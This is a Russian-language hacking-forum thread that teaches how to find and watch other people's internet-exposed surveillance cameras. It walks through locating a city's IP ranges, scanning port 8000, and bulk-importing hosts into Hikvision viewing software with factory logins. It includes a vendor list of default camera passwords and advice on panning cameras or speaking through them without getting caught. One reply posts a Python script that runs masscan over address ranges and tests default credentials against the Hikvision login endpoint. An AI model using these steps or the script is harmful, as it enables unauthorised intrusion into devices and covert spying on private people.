HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ИНФО > Статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 17.05.2015, 14:20
blaga
Постоянный
Регистрация: 23.03.2006
Сообщений: 977
С нами: 10597286

Репутация: 694


По умолчанию

Всем привет. Статья о том как можно подключится к камерам наблюдения через интернет с дефолтными настройками.

Оригинал статьи не мой. Я лишь переписал подробнее и добавил скриншотов.

Итак, начнем.

Первое с чем стоит определится это в каком городе будем искать камеры. Для примера я решил выбрать Новосибирск.

Шаг 0 подготовительный. Качаем нужный софт, а именно:

1. Прога для просмотра камер http://dl.hikvision.ru/soft/iVMS-4200(v2.3.0.5).exe (версия важна именно эта!)

2. Прога для скана IPvnc_scanner_gui_1.2

3. Скрипт для оформления IP в надлежащий вид http://pastebin.com/6MJeAD0K

2 и 3 можно скачать тут https://www.sendspace.com/file/wfu28y

(у кого есть возможность перезалейте, я потом добавлю в тему).

Шаг 1.Ищем iP для нашего города. (Новосибирск)

Заходим например сюда https://4it.me/getlistip и в поле «Введите город» вводим город Новосибирск



Шаг 2. Добавляем найденные диапазоны в vnc scanner. Сканирование иногда занимает довольно много времени(от получаса до нескольких часов), так что есть смысл сканить за раз небольшое количество диапазонов.

Запускаем vnc_scanner_gui_1.2.exe появляется окно



Вставляем туда наши найденные диапазоны адресов (1)

В отмеченных полях ставим порт 8000

В поле со страной ставим Russian Federation (не уверен что это нужно прим. blaga)

Нажимаем кнопку Start scan (2) – появится окно терминала и сканирование начнется.

После окончания сканирования, окно терминала закроется и нужно нажать кнопку Start Parser (3)

В итоге получаем список валидных IP адресов в файле IPs.txt

Шаг 3. Приводим наши IP в удобноваримый вид для импорта.

Устанавливаем python 3.4 для винды тут www.python.org/ftp/python/3.4.3/python-3.4.3.msi

Затем берем файлик csv.py кладем его в одну из папок, в эту же папку кидаем файл IPs.txt с нашими IP адресами. По умолчанию этот скрипт создаст csv файл который мы потом скормим программе логин у каждой камеры будет admin пароль 12345 это заводские установки для камер фирмы hikvision (достаточно популярные) можно редактируя скрипт в обычном блокноте менять логины и пароли по умолчанию. (список дефолтных настроек для разных камер внизу статьи).

Итак, положили скрипт и файл с IP вместе, можно кликнуть по скрипту дважды (в винде) и он выполнится и создаст csv файл для импорта. Если через дабл клик не запускается, запустите через командную строку, без параметров.

Шаг 4. Теперь у нас есть готовый файл для импорта. Устанавливаем программу iVMS-4200(v2.3.0.5).exe, заходим в нее там будет Device Management- Вкладка Server– нажимаем Add Device - там выбираем Batch Import– выбираем наш csv файл.

После того как наш файл загрузится список камер появятся в основном окне, и они начнут автоматически подключаться. Те что подключаться загорятся зеленой иконкой и у них появится serial no



Те что не подключились можно удалить, а те что загорелись зеленым можно смотреть!

Заходим в Main View, выбираем камеру и смотрим.

Можно выбрать расположение камер (1) рекомендую в раз больше 1 камеры не смотреть, так меньше тормозит, камеру выбираем из списка при этом надо развернуть папку (2), так же некоторые камеры поддерживают удаленное управление (3), можно поворачивать камеры, приближать и т.д. (не рекомендую делать, можно спалиться), так же на некоторых камерах есть динамики и можно че нить *****нуть в микрофон и в помещении с камерой люди это услышат(не рекомендую, спалитесь 100%).



Ну вот собственно и все.

Призываю вас быть умными и не дестроить камеры, для того что бы такая тема прожила дольше.

Не обязательно искать в России, можно вообще по всему миру искать.

И еще если кто то сможет написать простой брутфорсер камер по словарю стандартных логинов \ паролей, будет вообще шикарно.

Список стандартных доступов прилагаю.

.SpoilerTarget" type="button">Spoiler: доступы
ACTi: admin/123456 or Admin/123456

Arecont Vision: нет

Avigilon: admin/admin

Axis: root/pass, У новых моделей нет пароля по умолчанию. Пароль задаётся во время первой настройки.

Basler: admin/admin

Bosch: нет

Brickcom: admin/admin

Cisco: Нет пароля по умолчанию. Пароль задаётся во время первой настройки.

Dahua: admin/admin

Digital Watchdog: admin/admin

DRS: admin/1234

DVTel: Admin/1234

DynaColor: Admin/1234

FLIR: admin/fliradmin

Foscam: admin/нет

GeoVision: admin/admin

Grandstream: admin/admin

Hikvision: admin/12345

Honeywell: admin/1234

IQinVision: root/system

IPX-DDK: root/admin or root/Admin

JVC: admin/jvc

Mobotix: admin/meinsm

Panasonic: admin/12345

Pelco Sarix: admin/admin

Pixord: admin/admin

Samsung Electronics: root/root или admin/4321

Samsung Techwin (старая модель): admin/1111111

Samsung Techwin (новая модель): admin/4321

Sanyo: admin/admin

Scallop: admin/password

Sentry360 (mini): admin/1234

Sentry360 (pro): нет

Sony: admin/admin

Stardot: admin/admin

Starvedia: admin/нет

Trendnet: admin/admin

Toshiba: root/ikwd

VideoIQ: supervisor/supervisor

Vivotek: root/нет&gt

Ubiquiti: ubnt/ubnt

Wodsee: admin/нет

Всем спасибо.

Материал отсюда -

http://pikabu.ru/story/shpionim_cher...deniya_3294899
 
Ответить с цитированием

  #2  
Старый 17.05.2015, 17:10
smirk
Участник форума
Регистрация: 08.09.2011
Сообщений: 137
С нами: 7725206

Репутация: 26
По умолчанию

дожили, с пикабу "статьи" на ачат копипастят...
 
Ответить с цитированием

  #3  
Старый 17.05.2015, 19:36
Revers
Новичок
Регистрация: 18.05.2006
Сообщений: 7
С нами: 10517281

Репутация: 3
По умолчанию

На пикабу нагло спиздили с bhf не указав источник, от туда 2 скрина моих =)

https://bhf.su/threads/122143/page-53#post-1414326

https://bhf.su/threads/122143/page-50#post-1413925
 
Ответить с цитированием

  #4  
Старый 17.05.2015, 19:40
blaga
Постоянный
Регистрация: 23.03.2006
Сообщений: 977
С нами: 10597286

Репутация: 694


По умолчанию

Цитата:
Сообщение от smirk  

дожили, с пикабу "статьи" на ачат копипастят...
ну вроде в нужный раздел. а вообще прием интересный, мне оч. понравился, я о таком более нигде никогда не видел.

Цитата:
Сообщение от Revers  

На пикабу нагло спиздили с bhf не указав источник, от туда 2 скрина моих =)
https://bhf.su/threads/122143/page-53#post-1414326
https://bhf.su/threads/122143/page-50#post-1413925
пикабу он такой, удивляться нечему...
 
Ответить с цитированием

  #5  
Старый 18.05.2015, 14:27
makag
Новичок
Регистрация: 27.09.2009
Сообщений: 3
С нами: 8747704

Репутация: 0
По умолчанию

как ни странно, камер много с дефолтным доступом.

ТС молодец, одобряю.
 
Ответить с цитированием

  #6  
Старый 22.05.2015, 06:02
Revers
Новичок
Регистрация: 18.05.2006
Сообщений: 7
С нами: 10517281

Репутация: 3
По умолчанию

Шаблон csv для открытия списка ip, чтоб вручную не вставлять.

#

"Camera001","0","тут должен быть ip","8000","0","admin","12345","0","0","0","0"

"Camera001","0","тут должен быть ip","8000","0","admin","12345","0","0","0","0"

"Camera001","0","тут должен быть ip","8000","0","admin","12345","0","0","0","0"

Копируем строчку "Camera001","0","тут должен быть ip","8000","0","admin","12345","0","0","0","0" много раз, (сколько ip, столько и строчек)

копируем список ip, затем в Notepad++ или AkelPad (или еще в чем-нить) выделяем через зажатый Alt столбик из фраз "тут должен быть ip" (без кавычек) и вставляем скопированный ранее столбик из ip, сохраняем в .csv и загружаем его через iVMS. С AkelPad можно проще. Взять за шаблон

#

"Camera001","0","","8000","0","admin","12345","0", "0","0","0"

и между кавычек вставляем столбик из ip через правка - выделение - вертикальная вставка или Alt+V, в Notepad++ не нашел такой функции. Таким образом можно сразу несколько десятков ip вогнать за пол минуты =) Вот еще руссик для софта https://yadi.sk/d/E7pGali0gGyQC и KPortScan 3.0, он лучше vnc сканнера https://www.sendspace.com/file/5odoea
 
Ответить с цитированием

  #7  
Старый 22.05.2015, 06:09
blaga
Постоянный
Регистрация: 23.03.2006
Сообщений: 977
С нами: 10597286

Репутация: 694


По умолчанию

Цитата:
Сообщение от Revers  

Шаблон csv для открытия списка ip, чтоб вручную не вставлять.
#
"Camera001","0","тут должен быть ip","8000","0","admin","12345","0","0","0","0"
"Camera001","0","тут должен быть ip","8000","0","admin","12345","0","0","0","0"
"Camera001","0","тут должен быть ip","8000","0","admin","12345","0","0","0","0"
Копируем строчку "Camera001","0","тут должен быть ip","8000","0","admin","12345","0","0","0","0" много раз, (сколько ip, столько и строчек)
копируем список ip, затем в Notepad++ или AkelPad (или еще в чем-нить) выделяем через зажатый Alt столбик из фраз "тут должен быть ip" (без кавычек) и вставляем скопированный ранее столбик из ip, сохраняем в .csv и загружаем его через iVMS. С AkelPad можно проще. Взять за шаблон
#
"Camera001","0","","8000","0","admin","12345","0", "0","0","0"
и между кавычек вставляем столбик из ip через правка - выделение - вертикальная вставка или Alt+V, в Notepad++ не нашел такой функции. Таким образом можно сразу несколько десятков ip вогнать за пол минуты =) Вот еще руссик для софта
https://yadi.sk/d/E7pGali0gGyQC
и KPortScan 3.0, он лучше vnc сканнера
https://www.sendspace.com/file/5odoea
вы мануал выше не читали видимо, там в комплекте идет скрипт питоновский которые все это делает автоматом. задаешь логин\пароль подсовываешь txt с ipшниками и готов файл csv для импорта.
 
Ответить с цитированием

  #8  
Старый 22.05.2015, 07:09
Revers
Новичок
Регистрация: 18.05.2006
Сообщений: 7
С нами: 10517281

Репутация: 3
По умолчанию

Цитата:
Сообщение от blaga  

вы мануал выше не читали видимо, там в комплекте идет скрипт питоновский которые все это делает автоматом. задаешь логин\пароль подсовываешь txt с ipшниками и готов файл csv для импорта.
Не дочитал =(
 
Ответить с цитированием

  #9  
Старый 12.06.2015, 12:38
neocaine
Новичок
Регистрация: 11.06.2015
Сообщений: 13
С нами: 5749526

Репутация: 0
По умолчанию

Всем привет написал скриптик на питоне Linux Only (из-за статичных путей), прошу сильно не пинать.

Скрипт сканит диапазоны IP, все где открыт порт 8000 сохраняет в XML (средствами masscan), затем бежит по IP адресам в этом XML парсит страничку находящуюся на порту 8000 вставляя дефолтный логин и пароль, если подошел записывает в фаил, иначе переходит к следующему IP адресу.

З.Ы. Камеры к которым уже подошел лог пасс второй добавляет в исключение, при повторном запуске пропускает.

Есть пару неотлавливаемых ошибок, если кто хочет помочь дописать, оптимизировать, привязать морду (GUI), сделать кроссплатформенный прошу на github (filatovvo), irc (neocaine), или в личку.

В диапазоне моей страны находит около 120 камер за первый пробег.

.SpoilerTarget" type="button">Spoiler: GitHub
https://github.com/filatovvo/TasIXIP...ter/scanner.py

.SpoilerTarget" type="button">Spoiler: Python CODE

Код:
# INSTALL
# Requirements
# Root Priveleges
# https://github.com/martinblech/xmltodict - XML To Dictionary Parser
# https://github.com/robertdavidgraham/masscan - Masscan For Range Scanning

#CONSTANTS
LOGIN = 'admin'
PWD = '12345'
SCRIPTRESULT = 'result.txt'
LOGGINGLEVEL = 40  # 'CRITICAL' : 50, 'ERROR' : 40, 'WARNING' : 30, 'INFO' : 20, 'DEBUG' : 10
ARCHIVEPATH = '/tmp/ipcam/archive//'
ARCHIVEFOLDERNAME = 'archive'
MASSCANFOLDER = '/home/neocaine/'
MASSCANRESULT = 'scan.xml'
MASSCANEXCLUDE = 'exclude'
MASSCANCONF = 'cam.conf'
MASSCANCAMPORTCONF = 'port = 8000'
MASSCANOUTPUTFORMATCONF = 'output-format = xml'
MASSCANRESULTCONF = 'output-filename = ' + MASSCANFOLDER+MASSCANRESULT
MASSCANEXCLUDECONF = 'excludefile = ' + MASSCANFOLDER+MASSCANEXCLUDE
MASSCANRANGECONF = '''http-user-agent = neocaine@blablabla.ru
range = 31.136.209.0/21
range = 218.31.161.0/20'''

import requests
import xmltodict
import shutil, zipfile
import os, logging, time
from datetime import datetime, timedelta
from urllib2 import urlopen
import urllib2, httplib
import socket
import requests

def make_conf_for_masscan():
    masscan_config = MASSCANRANGECONF + '\r\n'\
                    + MASSCANCAMPORTCONF + '\r\n'\
                    + MASSCANEXCLUDECONF + '\r\n'\
                    +  MASSCANOUTPUTFORMATCONF + '\r\n'\
                    + MASSCANRESULTCONF

    fname = MASSCANFOLDER + MASSCANCONF
    if os.path.exists(fname):
        os.remove(fname)
        open(fname, 'a').close()
        with open(fname, 'a') as masscan_conf:
            masscan_conf.seek(0)
            masscan_conf.write(masscan_config)
            masscan_conf.close()
    else:
        open(fname, 'a').close()
        with open(fname, 'a') as masscan_conf:
            masscan_conf.seek(0)
            masscan_conf.write(masscan_config)
            masscan_conf.close()

    fnameExclude = MASSCANFOLDER + MASSCANEXCLUDE
    open(fnameExclude, 'a').close()

def start_masscan():
    os.system('/usr/bin/masscan -c '+MASSCANFOLDER+MASSCANCONF)
#MakeDir Function

def mkdir(dir):
    logging.debug('_Function Called mkdir (dir = %s)' % dir)
    try:
        os.stat(dir)
    except:
        os.makedirs(dir)

def zipdir(path, zip):
    logging.debug('_Function Called zipdir(path = %s, zip = %s)' % (path, zip))
    for root, dirs, files in os.walk(path):
        for file in files:
            zip.write(os.path.join(root, file))

def delete_previous_file():
    logging.debug('_Function Called deletePreviousFile')
    try:
        os.remove(MASSCANFOLDER + MASSCANRESULT)
        os.remove(MASSCANFOLDER + SCRIPTRESULT)
    except:
        logging.warn("Cant Delete Folder Tree at %s" % MASSCANFOLDER)

def setup_custom_logger(name):
    formatter = logging.basicConfig(format=u'%(filename)s '
                                           u'[LINE:%(lineno)d]# '
                                           u'%(levelname)-8s '
                                           u'[%(asctime)s] '
                                           u'%(message)s', level=LOGGINGLEVEL)

    handler = logging.StreamHandler()
    handler.setFormatter(formatter)
    logger = logging.getLogger(name)
    logger.setLevel(logging.DEBUG)
    logger.addHandler(handler)
    return logger

def test_default_log_pass(ip):
    logging.debug('_Function Called testDefaultLogPass(ip) with ip=%s', ip)
    url = 'http://'+LOGIN+':'+PWD+'@' + ip +'/ISAPI/Security/userCheck?timeStamp=' + unixtime
    class MyException(Exception):
        pass

    try:
        a =urllib2.urlopen("http://"+ip, timeout = 3)
    except urllib2.URLError, e:
        logging.warning('Exception in urllib2.urlopen = %s', e)
        return 0
    except socket.timeout, e:
        logging.warning('Exception in socket = %s', e)
        return 0
    except socket.error, e:
        logging.warning('Exception in socket = %s', e)
        return 0
    except requests.ConnectionError, e:
        logging.warning('Exception in request = %s', e)
        return 0
    except requests.RequestException,e:
        logging.warning('Exception in request = %s', e)
        return 0
    except httplib.BadStatusLine, e:
        logging.warning('Exception in httplib = %s', e)
        return 0
    except:
        logging.warning("Unknown Exception while urllib2.urlopen")
        return 0

    logging.debug('Request Post To = %s', url)
    values = {'username': LOGIN,
              'password': PWD}
    r = requests
    try:
        r = requests.post(url, data=values)
    except requests.ConnectionError, e:
        logging.warning('Exception in requests = %s', e)
        return 0
    except httplib.BadStatusLine, e:
        logging.warning('Exception in httplib = %s', e)
        return 0
    except:
        logging.warning("Unknown Exception while requests.post")
        return 0

    fname = MASSCANFOLDER + MASSCANRESULT

    if os.path.exists(fname):
        os.remove(fname)
        open(fname, 'a').close()
        with open(fname, 'a') as myxmlfile:
            myxmlfile.seek(0)
            myxmlfile.write(r.content)
            myxmlfile.close()
    else:
        open(fname, 'a').close()
        with open(fname, 'a') as myxmlfile:
            myxmlfile.seek(0)
            myxmlfile.write(r.content)
            myxmlfile.close()

    with open(fname) as fd:
        try:
            obj = xmltodict.parse(fd.read())
        except:
            logging.warning("Can`t Parse Required xml data")
            return 0
    try:
        if int(obj['userCheck']['statusValue']) == 200:
            print ip + ' Has Default Log Password'
            os.system('/bin/echo ' + ip + ' Has Default Log Password'+ '>>' + MASSCANFOLDER+SCRIPTRESULT)
            os.system('/bin/echo ' + ip + '>>' + MASSCANFOLDER + MASSCANEXCLUDE)
    except:
        logging.debug("xml unknown format = %s",ip)

def masscan_return_parser():
    fname = MASSCANFOLDER + MASSCANRESULT
    if not os.path.exists(fname):
        print(fname)
        print("WTF")
        exit()
    with open(fname) as masscanResult:
        objects = xmltodict.parse(masscanResult.read())

    for w in objects['nmaprun']['host']:
        logging.debug("Getting Ip from XML = %s", w['address']['@addr'])
        test_default_log_pass(w['address']['@addr'])

logger = setup_custom_logger('root')
datenow = datetime.now()
unixtime = str(time.time() + timedelta(days=3).total_seconds())

delete_previous_file()
make_conf_for_masscan()
start_masscan()
masscan_return_parser()
В дальнейшем планирую вытаскивать DYNDNS запись, если она настроена на камере, если нет то дописать туда рандомно числа и в случае успешного сохранения так же записать в фаил.
 
Ответить с цитированием

  #10  
Старый 16.06.2015, 13:37
tester_new
Постоянный
Регистрация: 12.02.2012
Сообщений: 300
С нами: 7499126

Репутация: 24
По умолчанию

Просто и со вкусом!)
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору.